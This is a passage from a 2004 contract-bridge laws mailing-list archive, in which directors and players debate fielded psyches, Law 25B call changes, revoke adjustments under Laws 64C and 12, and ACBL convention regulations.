partnership is playing.) Help! > > The problem is that there are two separate questions raised by this >hand. > >[1] Has West fielded the psyche? The answer is no: after 3S it is a >matter of general bridge knowledge that the 2H bid does not contain a >hearts suit, and was a psyche, misbid or mispull. > >[Harald] >I don't know if they were playing match point or IMPs, nor the >vulnerability. But I find it very strange to pass 2H from pd over a >strong 2C holding 6-card support. In this setting, where pd is known by >all to be a frequent psycher, it might be OK to pass, but in any other >environment, this would be fielding the psyche IMO. Yes, I was not thinking about West's original pass, which probably is fielding: I was thinking of the later auction. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Mar 24 18:46:14 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 24 Mar 2004 18:46:14 +0000 Subject: SV: [blml] Psyches In-Reply-To: <4061C6F5.7050608@hdw.be> References: <200403241718.JAA12210@mailhub.irvine.com> <4061C6F5.7050608@hdw.be> Message-ID: <1GXC9qg2ddYAFwM8@blakjak.demon.co.uk> Herman De Wael wrote >Exactly Adam, > >Adam Beneschan wrote: > >> Harald wrote: >> I don't agree with Herman that having six hearts is enough bridge >> reason for me to field a psych, without UI. Eleven- and 12-card fits >> do happen. Especially if I know partner's psyching tendencies, and >> the opponents don't, refusing to raise with six-card support gives the >> definite appearance that I know something about partner's psyching >> tendencies. Certainly with my regular partner, whose psyching >> frequency is somewhere between "rare" and "occasional", I would never >> pass a natural 2H overcall with six-card support (assuming we played >> 2H as natural, which we don't). >> > >Indeed Adam, but your partner's psyching tendencies ARE AI to you. Not if they are concealed. >The british regard "fielding" a psyche to be an infraction. I fail to >see why this should be such in the whole world. As long as a- is >revealed to the opponents, drawing the conclusion from a- and b- that >partner has psyched is at the player's own risk. If you do not follow L40 then you have committed an infraction. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From schoderb@msn.com Wed Mar 24 21:18:02 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Wed, 24 Mar 2004 16:18:02 -0500 Subject: [blml] How Law 25B is not to be used References: <000001c4112c$cd5d6620$6900a8c0@WINXP> <009c01c411ae$a3407a30$50ebf1c3@LNV> Message-ID: Just so that we can continue this great hunt for voracity and exactitude, the change to Law 25B (the 40% stuff) was put in there because a very highly placed player had made a stupid mistake in passing in third seat with 10 HCP, 4 spades, and a singleton when his partner opened 1 spade --which he didn't see. It result was to produce a situation where you can make mistakes, correct them after changing your mind, and not get the zero you were headed for. Am I the only one to whom this looks like anti-bridge, especially at the average player or higher level? You have to live with your mistakes, but only a portion thereof if you're fast enough, and particularly in teams, you can get away with a minus 3 IMPs after a horrendous mistake. Kojak ----- Original Message ----- From: "Ton Kooijman" To: "blml" (snip - By Kojak) > What the combination of the minutes say is that the original idea when > introducing L25B was to make it possible to restore a stupid mistake (as > passing a cue bid) . That is what the combined minutes say and the LC > agreed on that. ton _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From adam@irvine.com Wed Mar 24 21:25:33 2004 From: adam@irvine.com (Adam Beneschan) Date: Wed, 24 Mar 2004 13:25:33 -0800 Subject: [blml] How Law 25B is not to be used In-Reply-To: Your message of "Wed, 24 Mar 2004 16:18:02 EST." Message-ID: <200403242125.NAA22033@mailhub.irvine.com> Kojak wrote: > Just so that we can continue this great hunt for voracity and exactitude, > the change to Law 25B (the 40% stuff) was put in there because a very highly > placed player had made a stupid mistake in passing in third seat with 10 > HCP, 4 spades, and a singleton when his partner opened 1 spade --which he > didn't see. It result was to produce a situation where you can make > mistakes, correct them after changing your mind, and not get the zero you > were headed for. Am I the only one to whom this looks like anti-bridge, > especially at the average player or higher level? No. Pretty much everybody on BLML, starting with David Stevenson, has been complaining about this law ever since it was written. -- Adam From richard.hills@immi.gov.au Wed Mar 24 22:42:34 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 25 Mar 2004 08:42:34 +1000 Subject: [blml] How Law 25B is not to be used Message-ID: >Just so that we can continue this great hunt >for voracity and exactitude, the change to >Law 25B (the 40% stuff) was put in there >because a very highly placed player had made >a stupid mistake in passing in third seat >with 10 HCP, 4 spades, and a singleton when >his partner opened 1 spade -- which he didn't >see. It result was to produce a situation >where you can make mistakes, correct them >after changing your mind, and not get the >zero you were headed for. Am I the only one >to whom this looks like anti-bridge, >especially at the average player or higher >level? You have to live with your mistakes, >but only a portion thereof if you're fast >enough, and particularly in teams, you can >get away with a minus 3 IMPs after a >horrendous mistake. > >Kojak A leak to blml from a member of the WBF Laws Drafting Sub-Committee has revealed that Law 25B will be abolished in the 2006 edition of the Laws. However, the arguments that Kojak uses contra to Law 25B apply with equal force to Law 25A and Law 45C4(b). In my opinion, all three of these Laws should be abolished in the 2006 edition of the Laws. In my opinion, Laws 25A and 45C4(b) give an unfair competitive advantage to sea-lawyers. The average Canberra bunny naturally assumes that the nature of any game means that you have to live with your mistakes, so the average Canberra bunny does not exercise their rights after an inadvertent call or play. Indeed, in one of Eddie Kantar's articles, he reveals that he (a former World Champion) placed himself at a competitive disadvantage in an important ACBL match, because he was unaware of the existence of Law 25A. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From twm@cix.co.uk Wed Mar 24 22:44:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 24 Mar 2004 22:44 +0000 (GMT Standard Time) Subject: [blml] Psyches In-Reply-To: Message-ID: DWS wrote: > To answer your question, the more the player only psyches in a > specific situation the sooner would you expect there to be a CPU. A "PU" surely. Whether it is "C" or properly disclosed in line with SO regulations depends on the partnership. In the context of "all the regulars know him" it is highly unlikely one could justify ruling a "C" when opponents are regulars. Tim From ardelm@bigpond.net.au Wed Mar 24 23:03:00 2004 From: ardelm@bigpond.net.au (Tony Musgrove) Date: Thu, 25 Mar 2004 10:03:00 +1100 Subject: [blml] Adjustment after revoke Message-ID: <6.0.3.0.2.20040325093540.04719a50@pop-server.bigpond.net.au> The other day I awarded a two trick revoke penalty in a standard situation where a long suit was being run from dummy. The penalty gave the player an equal top (along with several others). Fair enough I would have thought. Later the player remarked that had the revoke not occurred, and owing to a sub optimal opening lead not found at other tables, there was a distinct possibility that the revoker would be pseudo- squeezed which would lead to an extra overtrick for an absolute top. In the general case of assigned scores I am looking for the most favourable result likely, so I can assume a bit of poor defence by the offenders if necessary. (I look at the Deep Finesse analysis which considers perfect play and perfect defence). Would I really have to take each defender through the play of the hand and ask how he would know which cards to keep in the ending? Cheers, Tony (Sydney) From richard.hills@immi.gov.au Thu Mar 25 00:16:42 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 25 Mar 2004 10:16:42 +1000 Subject: [blml] Psyches Message-ID: Tim argued: >A "PU" surely. Whether it is "C" or properly >disclosed in line with SO regulations depends on the >partnership. In the context of "all the regulars >know him" it is highly unlikely one could justify >ruling a "C" when opponents are regulars. RJH reveals: In 1989 I used to regularly open 1H with a yarborough and an indeterminate number of hearts. But this was a Revealed Partnership Understanding, not a Concealed Partnership Understanding. Law 40B was not infracted because 1H was the defined fert in my Forcing Pass system. Of course, by definition, a psyche cannot be any type of Partnership Understanding, neither Concealed nor Revealed. In the Chapter 1 Definitions of the Laws, a Psychic Call is defined as a ".....gross misstatement..." So, in the context of "all the regulars know him", any possible infraction cannot be an infraction of Law 40B. But..... The pseudo-psychic Partnership Understanding may be an infraction of Zonal Organisation regulations made pursuant to Law 40D: ".....Zonal organisations may, in addition, regulate partnership understandings (even if not conventional) that permit the partnership's initial actions at the one level to be made with a hand of a King or more below average strength. Zonal organisations may delegate this responsibility." and/or an infraction of sponsoring organisation regulations made pursuant to Law 40E1: "The sponsoring organisation may prescribe a convention card on which partners are to list their conventions and other agreements and may establish regulations for its use, including a requirement that both members of a partnership employ the same system (such a regulation must not restrict style and judgement, only method)." Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@dybdal.dk Wed Mar 24 23:38:46 2004 From: blml@dybdal.dk (Jesper Dybdal) Date: Thu, 25 Mar 2004 00:38:46 +0100 Subject: [blml] How Law 25B is not to be used In-Reply-To: References: Message-ID: On Thu, 25 Mar 2004 08:42:34 +1000, richard.hills@immi.gov.au wrote: >However, the arguments that Kojak uses contra >to Law 25B apply with equal force to Law 25A >and Law 45C4(b). > >In my opinion, all three of these Laws should >be abolished in the 2006 edition of the Laws. There is a major difference between L25A/L45C4b and L25B. L25A/L45C4b allow certain actions. Whether these actions should be allowed is something that there can be different reasonable opinions about. I personally like these laws (particularly L25A, since, with the Danish bidding box regulations, it is used every time a bidding card sticks to another and they only fall apart after they have been removed from the box), but I would not find a law book without them very unreasonable. L25B, on the other hand, is a serious problem because it blurs the distinction between what is allowed and what is not allowed. By specifically allowing an action that results in a penalty, and by using words like "offender" for the person that performs this perfectly legal action, it destroys the distinction between correct procedure and incorrect procedure. That is a major problem - which I trust will be solved in the coming laws revision. --=20 Jesper Dybdal, Denmark. http://www.dybdal.dk (in Danish). From richard.hills@immi.gov.au Thu Mar 25 00:37:14 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 25 Mar 2004 10:37:14 +1000 Subject: [blml] Adjustment after revoke Message-ID: Tony Musgrove wrote: [snip] >Later the player remarked that had the revoke not >occurred, and owing to a sub optimal opening lead >not found at other tables, there was a distinct >possibility that the revoker would be pseudo- >squeezed which would lead to an extra overtrick for >an absolute top. [snip] Richard James Hills replies: Law 12C3 has not been enabled for Aussie TDs such as Tony and myself. Therefore, when Law 64C is invoked, Aussie TDs must adjust according to Law 12C2. On the facts stated, it is a distinct possibility that if I were the TD, I might want to assign a split score. The NOS keep the mere two trick revoke penalty - a Law 12C2 "likely" result - but the OS get an outright bottom for the pseudo- squeezed extra overtrick - a Law 12C2 "at all probable" result. Unfortunately, there is an error in the wording of Law 64C which makes the above split-score ruling unLawful. Law 64C states, ".....deems that the non-offending side is insufficiently compensated....." In 2006, Law 64C should incorporate this additional phrase: "and/or deems that the offending side is surfeitedly benefited" Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From adam@irvine.com Wed Mar 24 23:56:02 2004 From: adam@irvine.com (Adam Beneschan) Date: Wed, 24 Mar 2004 15:56:02 -0800 Subject: [blml] How Law 25B is not to be used In-Reply-To: Your message of "Thu, 25 Mar 2004 00:38:46 +0100." Message-ID: <200403242355.PAA27972@mailhub.irvine.com> Jesper wrote: > On Thu, 25 Mar 2004 08:42:34 +1000, richard.hills@immi.gov.au wrote: > > >However, the arguments that Kojak uses contra > >to Law 25B apply with equal force to Law 25A > >and Law 45C4(b). > > > >In my opinion, all three of these Laws should > >be abolished in the 2006 edition of the Laws. > > There is a major difference between L25A/L45C4b and L25B. > > L25A/L45C4b allow certain actions. Whether these actions should be > allowed is something that there can be different reasonable opinions > about. I personally like these laws (particularly L25A, since, with > the Danish bidding box regulations, it is used every time a bidding > card sticks to another and they only fall apart after they have been > removed from the box), In theory, the bidding-box regulations could be changed to make sure a player has time to check to make sure the card pulled out of the bid-box is the intended one. But I do believe L25A is necessary for spoken bidding. With a bidding box, under ACBL regulations (e.g.), a player has ample time to check to make sure the bid is correct before the regulations consider it to be a call, so L25A is probably not really necessary. However, with spoken bidding, you cannot check to make sure the call that comes out of your mouth is the intended one until you hear it after you say it, and by that time it's too late, unless L25A exists. (Or unless the procedure were changed to require someone to say "OK" or something similar to indicate that your call has been made. Then a player could speak his call, pause and listen just long enough to make sure his tongue behaved, then say "OK", and only at that point would the words be considered to be a call. But I doubt anyone would like that.) Similarly with L45C4(b). -- Adam From svenpran@online.no Wed Mar 24 23:58:43 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 25 Mar 2004 00:58:43 +0100 Subject: [blml] How Law 25B is not to be used In-Reply-To: Message-ID: <000001c411fb$eff30080$6900a8c0@WINXP> > richard.hills@immi.gov.au .......... > Indeed, in one of Eddie Kantar's articles, he > reveals that he (a former World Champion) > placed himself at a competitive disadvantage > in an important ACBL match, because he was > unaware of the existence of Law 25A. I don't believe my eyes! An experienced bridge player that is unaware of the law that permits him to correct a misnomer provided he does so without pause for thought? This law has existed unchanged (for all practical purposes) at least since 1932! Regards Sven From svenpran@online.no Thu Mar 25 00:16:29 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 25 Mar 2004 01:16:29 +0100 Subject: [blml] Adjustment after revoke In-Reply-To: Message-ID: <000001c411fe$6b7ac5b0$6900a8c0@WINXP> > richard.hills@immi.gov.au ......... > Unfortunately, there is an error in the wording of > Law 64C which makes the above split-score ruling > unLawful. >=20 > Law 64C states, ".....deems that the non-offending > side is insufficiently compensated....." >=20 > In 2006, Law 64C should incorporate this additional > phrase: >=20 > "and/or deems that the offending side is surfeitedly > benefited" I am not so sure that such a change is desirable. It brings in a lot of extra judgment to be done by the Director for no other reason than to = punish the offending side. If there is real cause for such punishment it should = be because Law 72B1 is applicable, and this law can be applied also after a revoke without any change in Law 64C.=20 But when we start discussing such items I should like someone to look = into Law 12B. This law cannot possibly express the intended meaning. Literally Law 12B law forbids the Director from assigning an adjusted = score on the ground that the penalty provided in the laws is unduly = advantageous to the offending side or is unduly severe to the non-offending side! Sven From cibor@poczta.fm Thu Mar 25 00:15:31 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Wed, 24 Mar 2004 17:15:31 -0700 Subject: [blml] How Law 25B is not to be used References: <000001c411fb$eff30080$6900a8c0@WINXP> Message-ID: <002a01c411fe$99ee8e90$532846a2@ams.com> ----- Original Message ----- From: "Sven Pran" To: "blml" Sent: Wednesday, March 24, 2004 4:58 PM Subject: RE: [blml] How Law 25B is not to be used > > richard.hills@immi.gov.au > .......... > > Indeed, in one of Eddie Kantar's articles, he > > reveals that he (a former World Champion) > > placed himself at a competitive disadvantage > > in an important ACBL match, because he was > > unaware of the existence of Law 25A. > > I don't believe my eyes! > And yet it is true: Kantar rebid 1S instead of 1NT and found himself playing 4S on a 4-3 fit. Konrad Ciborowski Krakow, Poland (jetlagged in Denver since yesterday) From richard.hills@immi.gov.au Thu Mar 25 01:16:19 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 25 Mar 2004 11:16:19 +1000 Subject: [blml] destroy the village to save it Message-ID: Ed Reppert: >My problem with this is that I have seen, at >the club level at least, an interpretation of >this regulation (it's in the ACBL General >Conditions of Contest, see below) that a >partnership must *have* agreements, >particularly in "to be expected" situations. >I don't buy it. > >ACBL General Conditions of Contest, >Conventions and Convention Cards, item 2: > >"A partnership is responsible for knowing >when their methods apply in probable (to be >expected) auctions. A pair may be entitled to >redress if their opponents did not originally >have a clear understanding of when and how to >use a convention that was employed." Richard James Hills: A further problem with the second sentence of item 2, is that it implies that Convention Disruption is an infraction for which there may be an entitlement to redress. Was item 2 first promulgated at the time when Bobby Wolff was ACBL President? :-( Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Thu Mar 25 01:41:38 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 25 Mar 2004 11:41:38 +1000 Subject: [blml] Psyches Message-ID: Robert E. Harris maydayed: [snip] >>At what point in a partnership does the >>frequency and nature of the psyching bring >>us to a partnership agreement? I'm going to >>be asked to address this question some day, >>and I don't know what the answer is. What >>do I do about it when the time comes? (I am >>directing only about 6 times a year when >>this partnership is playing.) Help! [snip] Richard James Hills rescues: Although the WBF Code of Practice has not been officially adopted by the ACBL, I believe that WBF definition of partnership understandings of pseudo-psyches is broadly consistent with ACBL policy. WBF Code of Practice (not adopted by ACBL): >To deem that such an implicit understanding >exists it must be determined that the partner >of the player who psyches has a heightened >awareness that in the given situation the >call may be psychic. This will be the case >only if in the opinion of the committee one >of the following circumstances is >established: > >(a) similar psychic action has occurred in >the partnership on several occasions in the >past, and not so long ago that the memory of >the actions has faded in the partner's mind - >habit is to be identified when an occurrence >is so frequent that it may be anticipated; or > >(b) in the recent past a similar psychic >call has occurred in the partnership and it >is considered the memory of it is so fresh >that it cannot have faded from mind; or > >(c) psychic calls of various kinds have >occurred in the partnership with such >frequency, and sufficiently recently, that >the partner is clearly aware of the tendency >for such psychic calls to occur; or > >(d) the members of the partnership are >mutually aware of some significant external >matter that may help recognition of the >psychic call. > >A psychic call which is found on the above >basis to be a matter of partnership >understanding is disallowed and an >artificial score adjustment may be awarded, >together with a procedural penalty to the >offending side if deemed appropriate. >Players who are found to have any explicit >agreement concerning psychic calls, or an >implicit agreement concerning a particular >kind of psychic call, are to be reminded that >they have a partnership agreement that is >subject to the regulations established under >the authority of Law 40D. > > >Disclosure of psychic tendencies > >A partnership may not defend itself against >an allegation that its psychic action is >based upon an understanding by claiming that, >although the partner had an awareness of the >possibility of a psychic in the given >situation, the partner's actions subsequent >to the psychic have been entirely normal. The >opponents are entitled to an equal and timely >awareness of any agreement, explicit or >implicit, since it may affect their choice of >action and for this reason the understanding >must be disclosed. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Thu Mar 25 01:11:36 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 01:11:36 +0000 Subject: [blml] How Law 25B is not to be used In-Reply-To: References: Message-ID: RJH wrote >>Just so that we can continue this great hunt >>for voracity and exactitude, the change to >>Law 25B (the 40% stuff) was put in there >>because a very highly placed player had made >>a stupid mistake in passing in third seat >>with 10 HCP, 4 spades, and a singleton when >>his partner opened 1 spade -- which he didn't >>see. It result was to produce a situation >>where you can make mistakes, correct them >>after changing your mind, and not get the >>zero you were headed for. Am I the only one >>to whom this looks like anti-bridge, >>especially at the average player or higher >>level? You have to live with your mistakes, >>but only a portion thereof if you're fast >>enough, and particularly in teams, you can >>get away with a minus 3 IMPs after a >>horrendous mistake. >> >>Kojak > >A leak to blml from a member of the WBF Laws >Drafting Sub-Committee has revealed that Law >25B will be abolished in the 2006 edition of >the Laws. > >However, the arguments that Kojak uses contra >to Law 25B apply with equal force to Law 25A >and Law 45C4(b). > >In my opinion, all three of these Laws should >be abolished in the 2006 edition of the Laws. > >In my opinion, Laws 25A and 45C4(b) give an >unfair competitive advantage to sea-lawyers. >The average Canberra bunny naturally assumes >that the nature of any game means that you >have to live with your mistakes, so the >average Canberra bunny does not exercise >their rights after an inadvertent call or >play. Do you use written bidding? I find with bidding boxes that everyone in the local club assumes you can change it when the wrong card comes out, bunny or no. It is also a frequent happening. If we were to get rid of L25A I should like to see the ACBL rule as to when a call is made become universal [ie, put it in the laws] so the call is made only at about the same moment that a card is played for declarer. Most current applications of L25A in clubs hereabouts would still be changeable because they are before the call would be made under that rule. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 25 01:13:09 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 01:13:09 +0000 Subject: [blml] How Law 25B is not to be used In-Reply-To: <000001c411fb$eff30080$6900a8c0@WINXP> References: <000001c411fb$eff30080$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> richard.hills@immi.gov.au >.......... >> Indeed, in one of Eddie Kantar's articles, he >> reveals that he (a former World Champion) >> placed himself at a competitive disadvantage >> in an important ACBL match, because he was >> unaware of the existence of Law 25A. > >I don't believe my eyes! > >An experienced bridge player that is unaware of the law that permits him to >correct a misnomer provided he does so without pause for thought? This law >has existed unchanged (for all practical purposes) at least since 1932! It was unknown to all except a minority of players before bidding boxes. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 25 01:16:14 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 01:16:14 +0000 Subject: [blml] Adjustment after revoke In-Reply-To: <6.0.3.0.2.20040325093540.04719a50@pop-server.bigpond.net.au> References: <6.0.3.0.2.20040325093540.04719a50@pop-server.bigpond.net.au> Message-ID: Tony Musgrove wrote >The other day I awarded a two trick revoke penalty in >a standard situation where a long suit was being run >from dummy. The penalty gave the player an equal >top (along with several others). Fair enough I would >have thought. > >Later the player remarked that had the revoke not >occurred, and owing to a sub optimal opening lead >not found at other tables, there was a distinct >possibility that the revoker would be pseudo- >squeezed which would lead to an extra overtrick for >an absolute top. > >In the general case of assigned scores I am looking >for the most favourable result likely, so I can assume >a bit of poor defence by the offenders if necessary. >(I look at the Deep Finesse analysis which considers >perfect play and perfect defence). Would I really have >to take each defender through the play of the hand and >ask how he would know which cards to keep in the >ending? No. The way that you decide judgement rulings is not based on asking the players the answer, but on your own decision after consulting, using the wording of L12C. Also remember that L64C does refer to assigned scores, so if you are in a jurisdiction where L12C3 is enabled, you can weight the score according to your view of what might have happened. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Thu Mar 25 01:19:38 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 24 Mar 2004 20:19:38 -0500 Subject: [blml] destroy the village to save it In-Reply-To: Message-ID: <7C2AB0DD-7DFA-11D8-BF9D-0030656F6826@rochester.rr.com> On Wednesday, Mar 24, 2004, at 20:16 US/Eastern, richard.hills@immi.gov.au wrote: > Was item 2 first promulgated at the time when > Bobby Wolff was ACBL President? That I do not know. From blml@blakjak.com Thu Mar 25 01:21:05 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 01:21:05 +0000 Subject: [blml] Adjustment after revoke In-Reply-To: <000001c411fe$6b7ac5b0$6900a8c0@WINXP> References: <000001c411fe$6b7ac5b0$6900a8c0@WINXP> Message-ID: Sven Pran wrote >Literally Law 12B law forbids the Director from assigning an adjusted score >on the ground that the penalty provided in the laws is unduly advantageous >to the offending side or is unduly severe to the non-offending side! What is wrong with that? If a revoke penalty is two tricks and the TD thinks two tricks is unfair on the poor offenders [a growing view for which my distaste is palpable - ok, I dunno what that means, but RJH keeps saying things like that] L12B forbids him from saying "Ave+/Ave- because it is fairer". -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From adam@irvine.com Thu Mar 25 01:40:10 2004 From: adam@irvine.com (Adam Beneschan) Date: Wed, 24 Mar 2004 17:40:10 -0800 Subject: [blml] Adjustment after revoke In-Reply-To: Your message of "Thu, 25 Mar 2004 01:21:05 GMT." Message-ID: <200403250140.RAA32266@mailhub.irvine.com> David wrote: > Sven Pran wrote > > >Literally Law 12B law forbids the Director from assigning an adjusted score > >on the ground that the penalty provided in the laws is unduly advantageous > >to the offending side or is unduly severe to the non-offending side! > > What is wrong with that? > > If a revoke penalty is two tricks and the TD thinks two tricks is > unfair on the poor offenders [a growing view for which my distaste is > palpable - ok, I dunno what that means, but RJH keeps saying things like > that] L12B forbids him from saying "Ave+/Ave- because it is fairer". I think Sven is talking about the case where the TD thinks *only* two tricks is unfair to the poor *non*-offenders, or advantageous to the *offending* side. For revokes, Sven's objection doesn't apply because L64C exists. But I think Sven is arguing that this should apply uniformly wherever there is a penalty: if a penalty doesn't compensate the non-offenders enough or isn't hard enough on the offenders, the TD should have the power to adjust, which L12B appears to prohibit currently. (There are a couple Laws which accomplish this but only when the offenders "could have known" blah blah blah: L23, L72B1.) -- Adam From blml@blakjak.com Thu Mar 25 02:43:08 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 02:43:08 +0000 Subject: [blml] Adjustment after revoke In-Reply-To: <200403250140.RAA32266@mailhub.irvine.com> References: <200403250140.RAA32266@mailhub.irvine.com> Message-ID: Adam Beneschan wrote >David wrote: >> Sven Pran wrote >> >> >Literally Law 12B law forbids the Director from assigning an adjusted score >> >on the ground that the penalty provided in the laws is unduly advantageous >> >to the offending side or is unduly severe to the non-offending side! >> >> What is wrong with that? >> >> If a revoke penalty is two tricks and the TD thinks two tricks is >> unfair on the poor offenders [a growing view for which my distaste is >> palpable - ok, I dunno what that means, but RJH keeps saying things like >> that] L12B forbids him from saying "Ave+/Ave- because it is fairer". >I think Sven is talking about the case where the TD thinks *only* two >tricks is unfair to the poor *non*-offenders, or advantageous to the >*offending* side. For revokes, Sven's objection doesn't apply because >L64C exists. But I think Sven is arguing that this should apply >uniformly wherever there is a penalty: if a penalty doesn't compensate >the non-offenders enough or isn't hard enough on the offenders, the TD >should have the power to adjust, which L12B appears to prohibit >currently. (There are a couple Laws which accomplish this but only >when the offenders "could have known" blah blah blah: L23, L72B1.) Ok, what is wrong with that? Look, the Law says, translated into English: "When adjusting, do what the laws tell you to" and I find that very reasonable. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Thu Mar 25 04:42:16 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 25 Mar 2004 14:42:16 +1000 Subject: [blml] Lost in translation Message-ID: >From the thread "adjustment after revoke". Adam Beneschan: [snip] >>>I think Sven is talking about the case where the TD >>>thinks *only* two tricks is unfair to the poor >>>*non*-offenders, or advantageous to the *offending* >>>side. For revokes, Sven's objection doesn't apply >>>because L64C exists. But I think Sven is arguing >>>that this should apply uniformly wherever there is >>>a penalty: if a penalty doesn't compensate the non- >>>offenders enough or isn't hard enough on the >>>offenders, the TD should have the power to adjust, >>>which L12B appears to prohibit currently. (There >>>are a couple Laws which accomplish this but only >>>when the offenders "could have known" blah blah >>>blah: L23, L72B1.) David Stevenson: >>Ok, what is wrong with that? >>Look, the Law says, translated into English: >> >>"When adjusting, do what the laws tell you to" and I >>find that very reasonable. Richard James Hills: Care needs to be taken when translating the Laws into simple English, since some complex nuances of the Laws might be lost in translation. Law 12A1: >The Director may award an assigned adjusted score >when he judges that these Laws do not provide >indemnity to the non-offending contestant for the >particular type of violation of law committed by an >opponent. Richard James Hills: Some time ago, a blml lurker sent me an email requesting a simple English translation of the seemingly contradictory Laws 12A1 and 12B. My translations are -> Law 12A1: "If a Law does not specify a penalty for its infraction, the TD imposes their choice of a reasonable penalty." Law 12B: "If a Law does specify a particular inequitable mechanical penalty for its infraction, the TD imposes a Hobson's choice of an unreasonable penalty." Therefore, unlike DWS, I do not believe that the Laws are "very reasonable". :-( Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From hermandw@hdw.be Thu Mar 25 08:04:35 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 25 Mar 2004 09:04:35 +0100 Subject: SV: [blml] Psyches In-Reply-To: 